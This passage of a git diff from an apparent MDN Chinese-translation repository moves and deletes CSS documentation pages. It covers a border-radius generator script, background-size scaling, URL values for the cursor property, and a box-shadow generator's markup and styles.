-		this.node.style.height = this.size + units[this.unitR];
-		this.updateBorderRadius();
-	}
-
-	RadiusContainer.prototype.setUnitX = function setUnitX(value) {
-		this.unitX = value;
-		if (this.unitX === 0) this.maxW = 2 * subject.clientWidth;
-		if (this.unitX === 1) this.maxW = 200;
-		InputSliderManager.setUnit(this.topic + '-w', units[this.unitX]);
-		InputSliderManager.setMax(this.topic + '-w', this.maxW / 2);
-	}
-
-	RadiusContainer.prototype.setUnitY = function setUnitY(value) {
-		this.unitY = value;
-		if (this.unitY === 0) this.maxH = 2 * subject.clientHeight;
-		if (this.unitY === 1) this.maxH = 200;
-		InputSliderManager.setUnit(this.topic + '-h', units[this.unitY]);
-		InputSliderManager.setMax(this.topic + '-h', this.maxH / 2);
-	}
-
-	RadiusContainer.prototype.setUnitR = function setUnitR(value) {
-		this.unitR = value;
-
-		if (this.unitR === 0)
-			this.maxR = 2 * Math.min(subject.clientHeight , subject.clientWidth);
-
-		if (this.unitR === 1)
-			this.maxR = 200;
-
-		InputSliderManager.setUnit(this.topic, units[this.unitR]);
-		InputSliderManager.setMax(this.topic, this.maxR / 2);
-	}
-
-	RadiusContainer.prototype.updateUnits = function updateUnits(unit) {
-		if (this.rounded) {
-			this.setUnitR(this.unitR);
-			return;
-		}
-
-		if (unit === 0)
-			this.setUnitX(this.unitX);
-
-		if (unit === 1)
-			this.setUnitY(this.unitY);
-	}
-
-	RadiusContainer.prototype.composeBorderRadius = function composeBorderRadius () {
-
-		if (this.rounded === true) {
-			var unit = units[this.unitR];
-			var value = Math.round(this.size / 2);
-			return value + unit;
-		}
-
-		var unitX = units[this.unitX];
-		var unitY = units[this.unitY];
-		var valueX = Math.round(this.width / 2);
-		var valueY = Math.round(this.height / 2);
-
-		if (valueX === valueY && this.unitX === this.unitY)
-			return valueX + unitX;
-
-		return valueX + unitX + ' ' + valueY + unitY;
-	}
-
-	RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius () {
-		var radius = this.composeBorderRadius();
-		var corner = 0;
-
-		if (this.topic === 'top-left') {
-			subject.style.borderTopLeftRadius = radius;
-			corner = 0;
-		}
-
-		if (this.topic === 'top-right') {
-			subject.style.borderTopRightRadius = radius;
-			corner = 1;
-		}
-
-		if (this.topic === 'bottom-right') {
-			subject.style.borderBottomRightRadius = radius;
-			corner = 2;
-		}
-
-		if (this.topic === 'bottom-left') {
-			subject.style.borderBottomLeftRadius = radius;
-			corner = 3;
-		}
-
-		Tool.updateOutput(corner, radius);
-	}
-
-	RadiusContainer.prototype.updateContainer = function updateContainer(deltaX, deltaY) {
-
-		if (this.rounded === true) {
-			this.size += this.resizeX * deltaX + this.resizeY * deltaY;
-			if (this.size < 0)	this.size = 0;
-			if (this.size > this.maxR)	this.size = this.maxR;
-			this.updateRadius();
-			this.updateBorderRadius();
-			return;
-		}
-
-		if (deltaX) {
-			this.width += this.resizeX * deltaX;
-			if (this.width < 0)	this.width = 0;
-			if (this.width > this.maxW)	this.width = this.maxW;
-			this.updateWidth();
-		}
-
-		if (deltaY) {
-			this.height += this.resizeY * deltaY;
-			if (this.height < 0) this.height = 0;
-			if (this.height > this.maxH)	this.height = this.maxH;
-			this.updateHeight();
-		}
-
-		if (deltaX || deltaY)
-			this.updateBorderRadius();
-	}
-
-
-	/**
-	 * Tool Manager
-	 */
-	var Tool = (function Tool() {
-		var preview;
-		var preview_ui;
-		var radius_containers = [];
-		var border_width = 3;
-		var borders1 = [null, null, null, null];
-		var borders2 = [0, 0, 0, 0];
-
-		var updateUIWidth = function updateUIWidth(value) {
-			var pwidth = subject.parentElement.clientWidth;
-			var left = (pwidth - value) / 2;
-			subject.style.width = value + "px";
-
-			for (var i = 0; i < 4; i++)
-				radius_containers[i].updateUnits(0);
-		}
-
-		var updateUIHeight = function updateUIHeight(value) {
-			var pheight = subject.parentElement.clientHeight;
-			var top = (pheight - value) / 2;
-			subject.style.height = value + "px";
-			subject.style.top = top - border_width + "px";
-
-			for (var i = 0; i < 4; i++)
-				radius_containers[i].updateUnits(1);
-		}
-
-		var updatePreviewUIWidth = function updatePreviewUIWidth() {
-			var p = subject.parentElement.clientWidth;
-			var v = preview_ui.clientWidth;
-			console.log(p, v, (p - v ) / 2);
-			preview_ui.style.left = (p - v) / 2 + "px" ;
-		}
-
-		var updatePreviewUIHeight = function updatePreviewUIHeight() {
-			var p = subject.parentElement.clientHeight;
-			var v = preview_ui.clientHeight;
-			console.log(p, v, (p - v ) / 2);
-			preview_ui.style.top = (p - v) / 2 + "px" ;
-		}
-
-		var updateOutput = function updateOutput(corner, radius) {
-			var values = radius.split(" ");
-
-			borders1[corner] = values[0];
-			borders2[corner] = values[0];
-
-			if (values.length === 2)
-				borders2[corner] = values[1];
-
-			var border_1_value = borders1.join(" ");
-			var border_2_value = borders2.join(" ");
-			var border_radius = 'border-radius: ' + border_1_value;
-
-			if (border_2_value !== border_1_value)
-				border_radius += ' / ' + border_2_value;
-
-			border_radius += ';';
-			output.textContent = border_radius;
-		}
-
-		var init = function init() {
-			preview = getElemById("preview");
-			subject = getElemById("subject");
-			output = getElemById("output");
-			preview_ui = getElemById("radius-ui-sliders");
-
-			var elem = document.querySelectorAll('.radius-container');
-			var size = elem.length;
-			for (var i = 0; i < size; i++)
-				radius_containers[i] = new RadiusContainer(elem[i]);
-
-			InputSliderManager.subscribe("width", updateUIWidth);
-			InputSliderManager.subscribe("height", updateUIHeight);
-
-			InputSliderManager.setValue("width", subject.clientWidth);
-			InputSliderManager.setValue("height", subject.clientHeight);
-		}
-
-		return {
-			init : init,
-			updateOutput : updateOutput
-		}
-
-	})();
-
-	/**
-	 * Init Tool
-	 */
-	var init = function init() {
-		ButtonManager.init();
-		InputSliderManager.init();
-		PreviewMouseTracking.init("preview");
-		Tool.init();
-	}
-
-	return {
-		init : init
-	}
-
-})();
-
-
-
-
- -

{{ EmbedLiveSample('border-radius-generator', '100%', '800px', '') }}

- -

 

diff --git a/files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html b/files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html new file mode 100644 index 0000000000..2873b2878c --- /dev/null +++ b/files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html @@ -0,0 +1,129 @@ +--- +title: Scaling background images +slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images +translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images +--- +
{{cssref}}
+ +

CSS属性{{ cssxref("background-size") }} 可以用于调整背景图片的宽和高,因背景图片布局的默认行为是根据其原尺寸平铺,所以{{ cssxref("background-size") }}可修改其默认行为。你可以根据需要放大或缩小图片。

+ +

Tiling a large image

+ +

Let's consider a large image, a 2982x2808 Firefox logo image. We want (for some reason likely involving horrifyingly bad site design) to tile four copies of this image into a 300x300-pixel element. To do this, we can use a fixed background-size value of 150 pixels.

+ +

HTML

+ +
<div class="tiledBackground">
+</div>
+ +

CSS

+ +
.tiledBackground {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: 150px;
+  width: 300px;
+  height: 300px;
+  border: 2px solid;
+  color: pink;
+}
+
+ +

Result

+ +

{{EmbedLiveSample("Tiling_a_large_image", 340, 340)}}

+ +

Stretching an image

+ +

You can also specify both the horizontal and vertical sizes of the image, like this:

+ +
background-size: 300px 150px;
+
+ +

The result looks like this:

+ +

+ +

Scaling an image up

+ +

On the other end of the spectrum, you can scale an image up in the background. Here we scale a 32x32 pixel favicon to 300x300 pixels:

+ +

+ +
.square2 {
+  background-image: url(favicon.png);
+  background-size: 300px;
+  width: 300px;
+  height: 300px;
+  border: 2px solid;
+  text-shadow: white 0px 0px 2px;
+  font-size: 16px;
+}
+
+ +

As you can see, the CSS is actually essentially identical, save the name of the image file.

+ +

Special values: "contain" and "cover"

+ +

Besides {{cssxref("<length>")}} values, the {{ cssxref("background-size") }} CSS property offers two special size values, contain and cover. Let's take a look at these.

+ +

contain

+ +

The contain value specifies that, regardless of the size of the containing box, the background image should be scaled so that each side is as large as possible while not exceeding the length of the corresponding side of the container. Try resizing the example below to see this in action.

+ +

HTML

+ +
<div class="bgSizeContain">
+  <p>Try resizing this element!</p>
+</div>
+ +

CSS

+ +
.bgSizeContain {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: contain;
+  width: 160px;
+  height: 160px;
+  border: 2px solid;
+  color: pink;
+  resize: both;
+  overflow: scroll;
+}
+ +

Result

+ +

{{ EmbedLiveSample('contain', 250, 250) }}

+ +

cover

+ +

The cover value specifies that the background image should be sized so that it is as small as possible while ensuring that both dimensions are greater than or equal to the corresponding size of the container. Try resizing the example below to see this in action.

+ +

HTML

+ +
<div class="bgSizeCover">
+  <p>Try resizing this element!</p>
+</div>
+ +

CSS

+ +
.bgSizeCover {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: cover;
+  width: 160px;
+  height: 160px;
+  border: 2px solid;
+  color: pink;
+  resize: both;
+  overflow: scroll;
+}
+ +

Result

+ +

{{ EmbedLiveSample('cover', 250, 250) }}

+ +

See also

+ + diff --git a/files/zh-cn/web/css/css_backgrounds_and_borders/scaling_background_images/index.html b/files/zh-cn/web/css/css_backgrounds_and_borders/scaling_background_images/index.html deleted file mode 100644 index 2873b2878c..0000000000 --- a/files/zh-cn/web/css/css_backgrounds_and_borders/scaling_background_images/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Scaling background images -slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images -translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images ---- -
{{cssref}}
- -

CSS属性{{ cssxref("background-size") }} 可以用于调整背景图片的宽和高,因背景图片布局的默认行为是根据其原尺寸平铺,所以{{ cssxref("background-size") }}可修改其默认行为。你可以根据需要放大或缩小图片。

- -

Tiling a large image

- -

Let's consider a large image, a 2982x2808 Firefox logo image. We want (for some reason likely involving horrifyingly bad site design) to tile four copies of this image into a 300x300-pixel element. To do this, we can use a fixed background-size value of 150 pixels.

- -

HTML

- -
<div class="tiledBackground">
-</div>
- -

CSS

- -
.tiledBackground {
-  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
-  background-size: 150px;
-  width: 300px;
-  height: 300px;
-  border: 2px solid;
-  color: pink;
-}
-
- -

Result

- -

{{EmbedLiveSample("Tiling_a_large_image", 340, 340)}}

- -

Stretching an image

- -

You can also specify both the horizontal and vertical sizes of the image, like this:

- -
background-size: 300px 150px;
-
- -

The result looks like this:

- -

- -

Scaling an image up

- -

On the other end of the spectrum, you can scale an image up in the background. Here we scale a 32x32 pixel favicon to 300x300 pixels:

- -

- -
.square2 {
-  background-image: url(favicon.png);
-  background-size: 300px;
-  width: 300px;
-  height: 300px;
-  border: 2px solid;
-  text-shadow: white 0px 0px 2px;
-  font-size: 16px;
-}
-
- -

As you can see, the CSS is actually essentially identical, save the name of the image file.

- -

Special values: "contain" and "cover"

- -

Besides {{cssxref("<length>")}} values, the {{ cssxref("background-size") }} CSS property offers two special size values, contain and cover. Let's take a look at these.

- -

contain

- -

The contain value specifies that, regardless of the size of the containing box, the background image should be scaled so that each side is as large as possible while not exceeding the length of the corresponding side of the container. Try resizing the example below to see this in action.

- -

HTML

- -
<div class="bgSizeContain">
-  <p>Try resizing this element!</p>
-</div>
- -

CSS

- -
.bgSizeContain {
-  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
-  background-size: contain;
-  width: 160px;
-  height: 160px;
-  border: 2px solid;
-  color: pink;
-  resize: both;
-  overflow: scroll;
-}
- -

Result

- -

{{ EmbedLiveSample('contain', 250, 250) }}

- -

cover

- -

The cover value specifies that the background image should be sized so that it is as small as possible while ensuring that both dimensions are greater than or equal to the corresponding size of the container. Try resizing the example below to see this in action.

- -

HTML

- -
<div class="bgSizeCover">
-  <p>Try resizing this element!</p>
-</div>
- -

CSS

- -
.bgSizeCover {
-  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
-  background-size: cover;
-  width: 160px;
-  height: 160px;
-  border: 2px solid;
-  color: pink;
-  resize: both;
-  overflow: scroll;
-}
- -

Result

- -

{{ EmbedLiveSample('cover', 250, 250) }}

- -

See also

- - diff --git a/files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html b/files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html new file mode 100644 index 0000000000..fcde4cecb2 --- /dev/null +++ b/files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html @@ -0,0 +1,125 @@ +--- +title: Using URL values for the cursor property +slug: Web/CSS/cursor/url +tags: + - Cursor + - URL +translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property +--- +

Gecko 1.8 (Firefox 1.5,SeaMonkey 1.0) 支持CSS的URL值 {{cssxref("cursor")}} 属性在Windows和Linux。Mac支持是在Gecko 2(Firefox 4)中添加的。这允许将任意图像指定为鼠标光标 - 可以使用Gecko支持的任何图像格式。

+ +

语法

+ +

此属性的基本(CSS 2.1)语法是:

+ +
cursor: [<url>,]* keyword;
+
+ +

这意味着可以指定零个或多个URL(逗号分隔),后面必须跟随CSS规范中定义的一个关键字,例如 auto或 pointer。

+ +

例如,将允许以下值:

+ +
cursor: url(foo.cur), url(http://www.example.com/bar.gif), auto;
+
+ +

首先尝试加载 foo.cur。如果文件不存在或者其它无效原因,bar.gif被尝试加载,如果bar.gif不能被加载,那么使用auto

+ +

在Gecko 1.8beta3 (Deer Park Alpha 2)中加入了对CSS3 语法的指针属性的支持。

+ +
cursor:  [<uri> [<x> <y>]?,]* keyword
+ +

因此,它能在Firefox 1.5中工作。它允许定义指针的热点,加强对指针图橡的边界的控制。如果一个也没有设置,指针的热点会从文件本身读取(适合CUR和XBM文件类型)。否则,设置成图像的左上角。一个CSS3语法的例子:

+ +
.foo  {
+    cursor:  auto;
+    cursor:  url(cursor1.png) 4 12, auto;
+}
+
+.bar  {
+    cursor:  pointer;
+    cursor:  url(cursor2.png) 2 2, pointer;
+}
+
+/*
+fallsback onto 'auto' and 'pointer' in IE,
+but must be set separately
+*/
+ +

第一个数字是X坐标,第二个数字是Y坐标。该示例将热点设置为从左上角(0,0)到(4,12)处的像素。

+ +

局限性

+ +

可以使用任何被Gecko所支持的图像格式。这意味着你可以使用BMP,JPG,CUR,GIF等等。可是,ANI不被支持。还有即使你定义一个GIF动画,指针也不会变成GIF动画。这个局限性可能在以后的版本去掉。

+ +

Gecko它本身不能限制被替换的指针大小。无论如何,你应该自己限制图像的最大值在32x32,以便兼容各种平台的操作系统。尤其是大于这个尺寸的指针不能在Windows 9x (95,98,ME)下工作。

+ +

透明效果的指针在Windows XP以前都不被支持。这是操作系统的一个局限性。透明效果可以在所有平台下工作。

+ +

只 有Windows,OS/2和Linux(使用Gtk+ 2.4及更高版本)的Mozilla版本支持光标属性的URL参数。其它版本可能在以后的版本中加入支持(Mac OS: {{ Bug(286304) }}, QNX Neutrino: {{ Bug(286307) }}, XLib: {{ Bug(286309) }}, Qt: {{ Bug(286310) }}, BeOS: {{ Bug(298184) }}, Gtk 2.0/2.2: {{ Bug(308536) }})。

+ +

关于其它浏览器的兼容性

+ +

Microsoft Internet Explorer 6.0还支持cursor属性的URI值。然而:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BrowserLowest versionformats (e.g.)x-y-coordinates
Internet Explorer6.0.cur | .ani---
Firefox (Gecko), Windows and Linux1.5 (1.8).cur | .png | .gif | .jpg1.5 (1.8)
Firefox (Gecko)4.0 (2.0).cur | .png | .gif | .jpg | .svg(Gecko 2.0)
Opera---------
Safari (Webkit)3.0 (522-523).cur | .png | .gif | .jpg3.0 (522-523)
Since OS X 10.5 supports Safari (Mac) .curfiles
+ +

它也使用不严格的光标属性语法。例如像这样的参数:

+ +
cursor: url(foo.cur);
+
+ +

或者:

+ +
cursor: url(foo.cur), pointer, url(bar.cur), auto;
+
+ +

可以在MSIE上工作,但是不能在Gecko上面工作。因为Gecko的兼容性与CSS的规范一致,URIs表始终放置在前面,在最后放置正确的关键字。

+ +

 

diff --git a/files/zh-cn/web/css/css_box_model/box-shadow_generator/index.html b/files/zh-cn/web/css/css_box_model/box-shadow_generator/index.html deleted file mode 100644 index 3fb264bc40..0000000000 --- a/files/zh-cn/web/css/css_box_model/box-shadow_generator/index.html +++ /dev/null @@ -1,2880 +0,0 @@ ---- -title: Box-shadow generator -slug: Web/CSS/CSS_Box_Model/Box-shadow_generator -translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator ---- -

这个可视化工具可以帮助你生成一个元素的CSS{{cssxref("box-shadow")}}相关代码,添加box shadow效果到你的CSS对象上。

- -
-

box-shadow generator

- -

HTML Content

- -
<div id="container">
-    <div class="group section">
-        <div id="layer_manager">
-            <div class="group section">
-                <div class="button" data-type="add"> </div>
-                <div class="button" data-type="move-up"> </div>
-                <div class="button" data-type="move-down"> </div>
-            </div>
-            <div id="stack_container"></div>
-        </div>
-
-        <div id="preview_zone">
-            <div id="layer_menu" class="col span_12">
-                <div class="button" id="element" data-type="subject" data-title="element"> element </div>
-                <div class="button" id="before" data-type="subject" data-title=":before">
-                    :before
-                    <span class="delete" data-type="disable"></span>
-                </div>
-                <div class="button" id="after" data-type="subject" data-title=":after">
-                    :after
-                    <span class="delete" data-type="disable"></span>
-                </div>
-                <div class="ui-checkbox" data-topic='before' data-label=":before"></div>
-                <div class="ui-checkbox" data-topic='after' data-label=":after"></div>
-            </div>
-
-            <div id="preview">
-                <div id="obj-element">
-                    <div class="content"> </div>
-                    <div id="obj-before"> </div>
-                    <div id="obj-after"> </div>
-                </div>
-            </div>
-        </div>
-    </div>
-
-    <div id="controls" class="group section">
-        <div class="wrap-left">
-            <div class="colorpicker category">
-                <div class="title"> </div>
-                <div id="colorpicker" class="group">
-                    <div id="gradient" class="gradient">
-                        <div id="gradient_picker"> </div>
-                    </div>
-                    <div id="hue" data-topic="hue" class="hue">
-                        <div id="hue_selector"> </div>
-                    </div>
-                    <div class="info">
-                        <div class="input" data-topic="hue" data-title='H:' data-action="HSV"></div>
-                        <div class="input" data-topic="saturation" data-title='S:' data-action="HSV"></div>
-                        <div class="input" data-topic="value" data-title='V:' data-action="HSV"></div>
-                    </div>
-                    <div class="alpha">
-                        <div id="alpha" data-topic="alpha">
-                            <div id="alpha_selector"> </div>
-                        </div>
-                    </div>
-                    <div class="info">
-                        <div class="input" data-topic="r" data-title='R:' data-action="RGB"></div>
-                        <div class="input" data-topic="g" data-title='G:' data-action="RGB"></div>
-                        <div class="input" data-topic="b" data-title='B:' data-action="RGB"></div>
-                    </div>
-                    <div class="preview block">
-                        <div id="output_color"> </div>
-                    </div>
-                    <div class="block info">
-                        <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div>
-                        <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div>
-                    </div>
-                </div>
-            </div>
-        </div>
-
-        <div class="wrap-right">
-
-            <div id="shadow_properties" class="category">
-                <div class="title"> Shadow properties </div>
-                <div class="group">
-                    <div class="group property">
-                        <div class="ui-slider-name"> inset </div>
-                        <div class="ui-checkbox" data-topic='inset'></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Position x </div>
-                        <div class="ui-slider-btn-set" data-topic="posX" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="posX"
-                            data-min="-500" data-max="500" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="posX" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="posX" data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Position y </div>
-                        <div class="ui-slider-btn-set" data-topic="posY" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="posY"
-                            data-min="-500" data-max="500" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="posY" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="posY" data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Blur </div>
-                        <div class="ui-slider-btn-set" data-topic="blur" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="blur"
-                            data-min="0" data-max="200" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="blur" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="blur" data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Spread </div>
-                        <div class="ui-slider-btn-set" data-topic="spread" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="spread"
-                            data-min="-100"    data-max="100" data-step="1" data-value="50">
-                        </div>
-                        <div class="ui-slider-btn-set" data-topic="spread" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="spread" data-unit="px"></div>
-                    </div>
-                </div>
-            </div>
-
-            <div id="element_properties" class="category">
-                <div class="title"> Class element properties </div>
-                <div class="group">
-                    <div class="group property">
-                        <div class="ui-slider-name"> border </div>
-                        <div class="ui-checkbox" data-topic='border-state' data-state="true"></div>
-                    </div>
-                    <div id="z-index" class="slidergroup">
-                        <div class="ui-slider-name"> z-index </div>
-                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="z-index"
-                            data-min="-10" data-max="10" data-step="1"></div>
-                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="z-index"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> top </div>
-                        <div class="ui-slider-btn-set" data-topic="top" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="top"
-                            data-min="-500" data-max="500" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="top" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="top" data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> left </div>
-                        <div class="ui-slider-btn-set" data-topic="left" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="left"
-                            data-min="-300" data-max="700" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="left" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="left" data-unit="px"></div>
-                    </div>
-                    <div id="transform_rotate" class="slidergroup">
-                        <div class="ui-slider-name"> Rotate </div>
-                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="rotate"
-                            data-min="-360" data-max="360" data-step="1" data-value="0">
-                        </div>
-                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="rotate" data-unit="deg"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Width </div>
-                        <div class="ui-slider-btn-set" data-topic="width" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="width"
-                            data-min="0" data-max="1000" data-step="1" data-value="200">
-                        </div>
-                        <div class="ui-slider-btn-set" data-topic="width" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="width"  data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Height </div>
-                        <div class="ui-slider-btn-set" data-topic="height" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="height"
-                            data-min="0" data-max="400" data-step="1" data-value="200">
-                        </div>
-                        <div class="ui-slider-btn-set" data-topic="height" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="height" data-unit="px"></div>
-                    </div>
-                </div>
-            </div>
-
-            <div id="output" class="category">
-                <div id="menu" class="menu"></div>
-                <div class="title">    CSS Code </div>
-                <div class="group" style="border-top-left-radius: 0;">
-                    <div class="output" data-topic="element" data-name="element"
-                        data-prop="width height background-color position=[relative] box-shadow">
-                    </div>
-                    <div class="output" data-topic="before" data-name="element:before"
-                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
-                    </div>
-                    <div class="output" data-topic="after" data-name="element:after"
-                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
-                    </div>
-                </div>
-            </div>
-        </div>
-    </div>
-</div>
-
- -

CSS Content

- -
/*  GRID OF TWELVE
- * ========================================================================== */
-
-.span_12 {
-	width: 100%;
-}
-
-.span_11 {
-	width: 91.46%;
-}
-
-.span_10 {
-	width: 83%;
-}
-
-.span_9 {
-	width: 74.54%;
-}
-
-.span_8 {
-	width: 66.08%;
-}
-
-.span_7 {
-	width: 57.62%;
-}
-
-.span_6 {
-	width: 49.16%;
-}
-
-.span_5 {
-	width: 40.7%;
-}
-
-.span_4 {
-	width: 32.24%;
-}
-
-.span_3 {
-	width: 23.78%;
-}
-
-.span_2 {
-	width: 15.32%;
-}
-
-.span_1 {
-	width: 6.86%;
-}
-
-
-/*  SECTIONS
- * ========================================================================== */
-
-.section {
-	clear: both;
-	padding: 0px;
-	margin: 0px;
-}
-
-/*  GROUPING
- * ========================================================================== */
-
-
-.group:before, .group:after {
-    content: "";
-    display: table;
-}
-
-.group:after {
-    clear:both;
-}
-
-.group {
-    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
-}
-
-/*  GRID COLUMN SETUP
- * ========================================================================== */
-
-.col {
-	display: block;
-	float:left;
-	margin: 1% 0 1% 1.6%;
-}
-
-.col:first-child {
-	margin-left: 0;
-} /* all browsers except IE6 and lower */
-
-/*
- * UI Slider
- */
-
-.slidergroup {
-	height: 20px;
-	margin: 10px 0;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	-moz-user-select: none;
-	user-select: none;
-}
-
-.slidergroup * {
-	float: left;
-	height: 100%;
-	line-height: 100%;
-}
-
-/* Slider */
-
-.ui-slider {
-	height: 10px;
-	width: 200px;
-	margin: 4px 10px;
-	display: block;
-	border: 1px solid #999;
-	border-radius: 3px;
-	background: #EEE;
-}
-
-.ui-slider:hover {
-	cursor: pointer;
-}
-
-.ui-slider-name {
-	width: 90px;
-	padding: 0 10px 0 0;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-slider-pointer {
-	width: 13px;
-	height: 13px;
-	background-color: #EEE;
-	border: 1px solid #2C9FC9;
-	border-radius: 3px;
-	position: relative;
-	top: -3px;
-	left: 0%;
-}
-
-.ui-slider-btn-set {
-	width: 25px;
-	background-color: #2C9FC9;
-	border-radius: 3px;
-	color: #FFF;
-	font-weight: bold;
-	text-align: center;
-}
-
-.ui-slider-btn-set:hover {
-	background-color: #379B4A;
-	cursor: pointer;
-}
-
-.ui-slider-input > input {
-	margin: 0 10px;
-	padding: 0;
-	width: 50px;
-	text-align: center;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-/*
- * UI Button
- */
-
-/* Checkbox */
-
-.ui-checkbox {
-	text-align: center;
-	font-size: 16px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	line-height: 1.5em;
-	color: #FFF;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-.ui-checkbox > input {
- 	display: none;
-}
-
-.ui-checkbox > label {
-	font-size: 12px;
-	padding: 0.333em 1.666em 0.5em;
-	height: 1em;
-	line-height: 1em;
-
-	background-color: #888;
-	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-
-	color: #FFF;
-	border-radius: 3px;
-	font-weight: bold;
-	float: left;
-}
-
-.ui-checkbox .text {
-	padding-left: 34px;
-	background-position: center left 10px;
-}
-
-.ui-checkbox .left {
-	padding-right: 34px;
-	padding-left: 1.666em;
-	background-position: center right 10px;
-}
-
-.ui-checkbox > label:hover {
-	cursor: pointer;
-}
-
-.ui-checkbox > input:checked + label {
-	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
-	background-color: #379B4A;
-}
-
-/*
- * BOX SHADOW GENERATOR TOOL
- */
-
-body {
-	max-width: 1000px;
-	height: 800px;
-	margin: 20px auto 0;
-
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-}
-
-#container {
-	width: 100%;
-	padding: 2px;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-
-/* container with shadows stacks */
-#stack_container {
-	height: 400px;
-	overflow: hidden;
-	position: relative;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#stack_container .container {
-	height: 100%;
-	width: 100%;
-	position: absolute;
-	left: 100%;
-	transition-property: left;
-	transition-duration: 0.5s;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-
-#stack_container .title {
-	text-align: center;
-	font-weight: bold;
-	line-height: 2em;
-	border-bottom: 1px solid #43A6E1;
-	color: #666;
-}
-
-
-/*
- * Stack of Layers for shadow
- */
-
-#layer_manager {
-	width: 17%;
-	background-color: #FEFEFE;
-	margin: 0 1% 0 0;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-	float: left;
-}
-
-
-#layer_manager .button {
-	width: 30%;
-	height: 25px;
-	margin:0 0 10px;
-	color: #333;
-	background-color: #EEE;
-	text-align: center;
-	font-size: 0.75em;
-	line-height: 1.5em;
-	border: 1px solid #CCC;
